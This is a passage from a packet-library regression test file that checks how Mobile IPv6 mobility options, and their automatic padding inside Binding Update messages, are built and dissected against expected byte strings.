MIP6OptMobNetPrefix(s) p.olen == 42 and p.reserved == 2 and p.plen == 32 and p.prefix == '2001:db8::' + Mobility Options - Link-Layer Address (MH-LLA) = MIP6OptLLAddr - basic build str(MIP6OptLLAddr()) == '\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00' = MIP6OptLLAddr - basic dissection p = MIP6OptLLAddr('\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00') p.otype == 7 and p.olen == 7 and p.ocode == 2 and p.pad == 0 and p.lla == "00:00:00:00:00:00" = MIP6OptLLAddr - build with specific values str(MIP6OptLLAddr(olen=42, ocode=4, pad=0xff, lla='EE:EE:EE:EE:EE:EE')) == '\x07*\x04\xff\xee\xee\xee\xee\xee\xee' = MIP6OptLLAddr - dissection with specific values p = MIP6OptLLAddr('\x07*\x04\xff\xee\xee\xee\xee\xee\xee') str(MIP6OptLLAddr(olen=42, ocode=4, pad=0xff, lla='EE:EE:EE:EE:EE:EE')) p.otype == 7 and p.olen == 42 and p.ocode == 4 and p.pad == 0xff and p.lla == "ee:ee:ee:ee:ee:ee" + Mobility Options - Mobile Node Identifier = MIP6OptMNID - basic build str(MIP6OptMNID()) == '\x08\x01\x01' = MIP6OptMNID - basic dissection p = MIP6OptMNID('\x08\x01\x01') p.otype == 8 and p.olen == 1 and p.subtype == 1 and p.id == "" = MIP6OptMNID - build with specific values str(MIP6OptMNID(subtype=42, id="someid")) == '\x08\x07*someid' = MIP6OptMNID - dissection with specific values p = MIP6OptMNID('\x08\x07*someid') p.otype == 8 and p.olen == 7 and p.subtype == 42 and p.id == "someid" + Mobility Options - Message Authentication = MIP6OptMsgAuth - basic build str(MIP6OptMsgAuth()) == '\x09\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA' = MIP6OptMsgAuth - basic dissection p = MIP6OptMsgAuth('\x09\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA') p.otype == 9 and p.olen == 17 and p.subtype == 1 and p.mspi == 0 and p.authdata == "A"*12 = MIP6OptMsgAuth - build with specific values str(MIP6OptMsgAuth(authdata="B"*16, mspi=0xeeeeeeee, subtype=0xff)) == '\t\x15\xff\xee\xee\xee\xeeBBBBBBBBBBBBBBBB' = MIP6OptMsgAuth - dissection with specific values p = MIP6OptMsgAuth('\t\x15\xff\xee\xee\xee\xeeBBBBBBBBBBBBBBBB') p.otype == 9 and p.olen == 21 and p.subtype == 255 and p.mspi == 0xeeeeeeee and p.authdata == "B"*16 + Mobility Options - Replay Protection = MIP6OptReplayProtection - basic build str(MIP6OptReplayProtection()) == '\n\x08\x00\x00\x00\x00\x00\x00\x00\x00' = MIP6OptReplayProtection - basic dissection p = MIP6OptReplayProtection('\n\x08\x00\x00\x00\x00\x00\x00\x00\x00') p.otype == 10 and p.olen == 8 and p.timestamp == 0 = MIP6OptReplayProtection - build with specific values str(MIP6OptReplayProtection(olen=42, timestamp=(52*31536000)<<32)) == '\n*a\xbev\x00\x00\x00\x00\x00' = MIP6OptReplayProtection - dissection with specific values p = MIP6OptReplayProtection('\n*a\xbev\x00\x00\x00\x00\x00') p.otype == 10 and p.olen == 42 and p.timestamp == 7043196609626112000L + Mobility Options - CGA Parameters = MIP6OptCGAParams + Mobility Options - Signature = MIP6OptSignature + Mobility Options - Permanent Home Keygen Token = MIP6OptHomeKeygenToken + Mobility Options - Care-of Test Init = MIP6OptCareOfTestInit + Mobility Options - Care-of Test = MIP6OptCareOfTest + Mobility Options - Automatic Padding - MIP6OptBRAdvice = Mobility Options - Automatic Padding - MIP6OptBRAdvice a = str(MIP6MH_BU(seq=0x4242, options=[MIP6OptBRAdvice()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x02\x02\x00\x00' b = str(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptBRAdvice()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x00\x02\x02\x00\x00\x01\x04\x00\x00\x00\x00' c = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*0),MIP6OptBRAdvice()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x02\x02\x00\x00\x01\x04\x00\x00\x00\x00' d = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*1),MIP6OptBRAdvice()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x00\x02\x02\x00\x00\x01\x02\x00\x00' e = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*2),MIP6OptBRAdvice()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x02\x02\x00\x00\x01\x02\x00\x00' g = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*3),MIP6OptBRAdvice()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x00\x02\x02\x00\x00\x01\x00' h = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*4),MIP6OptBRAdvice()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x02\x02\x00\x00\x01\x00' i = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*5),MIP6OptBRAdvice()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x00\x02\x02\x00\x00' j = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*6),MIP6OptBRAdvice()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x02\x02\x00\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptAltCoA = Mobility Options - Automatic Padding - MIP6OptAltCoA a = str(MIP6MH_BU(seq=0x4242, options=[MIP6OptAltCoA()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b = str(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptAltCoA()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' c = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*0),MIP6OptAltCoA()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' d = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*1),MIP6OptAltCoA()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x01\x05\x00\x00\x00\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' e = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*2),MIP6OptAltCoA()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x01\x04\x00\x00\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' g = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*3),MIP6OptAltCoA()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x01\x03\x00\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' h = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*4),MIP6OptAltCoA()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x01\x02\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' i = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*5),MIP6OptAltCoA()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x01\x01\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' j = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*6),MIP6OptAltCoA()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x01\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptNonceIndices = Mobility Options - Automatic Padding - MIP6OptNonceIndices a = str(MIP6MH_BU(seq=0x4242, options=[MIP6OptNonceIndices()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x04\x10\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00' b = str(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptNonceIndices()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x00\x04\x10\x00\x00\x00\x00\x01\x02\x00\x00' c = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*0),MIP6OptNonceIndices()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x04\x10\x00\x00\x00\x00\x01\x02\x00\x00' d = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*1),MIP6OptNonceIndices()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x00\x04\x10\x00\x00\x00\x00\x01\x00' e = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*2),MIP6OptNonceIndices()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x04\x10\x00\x00\x00\x00\x01\x00' g = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*3),MIP6OptNonceIndices()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x00\x04\x10\x00\x00\x00\x00' h = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*4),MIP6OptNonceIndices()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x04\x10\x00\x00\x00\x00' i = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*5),MIP6OptNonceIndices()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x00\x04\x10\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00' j = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*6),MIP6OptNonceIndices()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x04\x10\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptBindingAuthData = Mobility Options - Automatic Padding - MIP6OptBindingAuthData a = str(MIP6MH_BU(seq=0x4242, options=[MIP6OptBindingAuthData()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b = str(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptBindingAuthData()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x01\x03\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' c = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*0),MIP6OptBindingAuthData()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x01\x02\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' d = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*1),MIP6OptBindingAuthData()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x01\x01\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' e = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*2),MIP6OptBindingAuthData()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x01\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' g = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*3),MIP6OptBindingAuthData()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' h = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*4),MIP6OptBindingAuthData()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' i = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*5),MIP6OptBindingAuthData()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' j = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*6),MIP6OptBindingAuthData()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptMobNetPrefix = Mobility Options - Automatic Padding - MIP6OptMobNetPrefix a = str(MIP6MH_BU(seq=0x4242, options=[MIP6OptMobNetPrefix()])) == ';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b = str(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptMobNetPrefix()])) == ';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x01\x05\x00\x00\x00\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' c = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*0),MIP6OptMobNetPrefix()])) == ';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x01\x04\x00\x00\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' d = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*1),MIP6OptMobNetPrefix()])) == ';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x01\x03\x00\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' e = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*2),MIP6OptMobNetPrefix()])) == ';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x01\x02\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' g = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*3),MIP6OptMobNetPrefix()])) == ';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x01\x01\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' h = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*4),MIP6OptMobNetPrefix()])) == ';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x01\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' i = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*5),MIP6OptMobNetPrefix()])) == ';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' j = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*6),MIP6OptMobNetPrefix()])) == ';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptLLAddr = Mobility Options - Automatic Padding - MIP6OptLLAddr a = str(MIP6MH_BU(seq=0x4242, options=[MIP6OptLLAddr()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00' b = str(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptLLAddr()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x00' c = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*0),MIP6OptLLAddr()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00' d = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*1),MIP6OptLLAddr()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00' e = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*2),MIP6OptLLAddr()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00' g = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*3),MIP6OptLLAddr()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x03\x00\x00\x00' h = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*4),MIP6OptLLAddr()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' i = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*5),MIP6OptLLAddr()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x01\x00' j = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*6),MIP6OptLLAddr()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptMNID = Mobility Options - Automatic Padding - MIP6OptMNID a = str(MIP6MH_BU(seq=0x4242, options=[MIP6OptMNID()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x08\x01\x01\x00' b = str(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptMNID()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x08\x01\x01' c = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*0),MIP6OptMNID()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x08\x01\x01\x01\x05\x00\x00\x00\x00\x00' d = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*1),MIP6OptMNID()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x08\x01\x01\x01\x04\x00\x00\x00\x00' e = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*2),MIP6OptMNID()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x08\x01\x01\x01\x03\x00\x00\x00' g = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*3),MIP6OptMNID()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x08\x01\x01\x01\x02\x00\x00' h = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*4),MIP6OptMNID()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x08\x01\x01\x01\x01\x00' i = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*5),MIP6OptMNID()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x08\x01\x01\x01\x00' j = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*6),MIP6OptMNID()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x08\x01\x01\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptMsgAuth = Mobility Options - Automatic Padding - MIP6OptMsgAuth a = str(MIP6MH_BU(seq=0x4242, options=[MIP6OptMsgAuth()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA' b = str(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptMsgAuth()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA' c = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*0),MIP6OptMsgAuth()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x01\x01\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA\x01\x02\x00\x00' d = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*1),MIP6OptMsgAuth()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x01\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA\x01\x02\x00\x00' e = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*2),MIP6OptMsgAuth()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA\x01\x02\x00\x00' g = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*3),MIP6OptMsgAuth()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA\x01\x02\x00\x00' h = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*4),MIP6OptMsgAuth()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x01\x01\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA' i = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*5),MIP6OptMsgAuth()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x01\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA' j = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*6),MIP6OptMsgAuth()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptReplayProtection = Mobility Options - Automatic Padding - MIP6OptReplayProtection a = str(MIP6MH_BU(seq=0x4242, options=[MIP6OptReplayProtection()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' b = str(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptReplayProtection()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x01\x03\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' c = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*0),MIP6OptReplayProtection()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x01\x02\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' d = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*1),MIP6OptReplayProtection()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x01\x01\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' e = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*2),MIP6OptReplayProtection()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x01\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' g = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*3),MIP6OptReplayProtection()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' h = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*4),MIP6OptReplayProtection()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' i = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*5),MIP6OptReplayProtection()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' j = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*6),MIP6OptReplayProtection()])) ==';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptCGAParamsReq = Mobility Options - Automatic Padding - MIP6OptCGAParamsReq a = str(MIP6MH_BU(seq=0x4242, options=[MIP6OptCGAParamsReq()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x0b\x00\x01\x00' b = str(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptCGAParamsReq()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x0b\x00\x00' c = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*0),MIP6OptCGAParamsReq()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x0b\x00' d = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*1),MIP6OptCGAParamsReq()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x0b\x00\x01\x05\x00\x00\x00\x00\x00' e = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*2),MIP6OptCGAParamsReq()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x0b\x00\x01\x04\x00\x00\x00\x00' g = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*3),MIP6OptCGAParamsReq()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x0b\x00\x01\x03\x00\x00\x00' h = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*4),MIP6OptCGAParamsReq()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x0b\x00\x01\x02\x00\x00' i = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*5),MIP6OptCGAParamsReq()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x0b\x00\x01\x01\x00' j = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*6),MIP6OptCGAParamsReq()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x0b\x00\x01\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptCGAParams = Mobility Options - Automatic Padding - 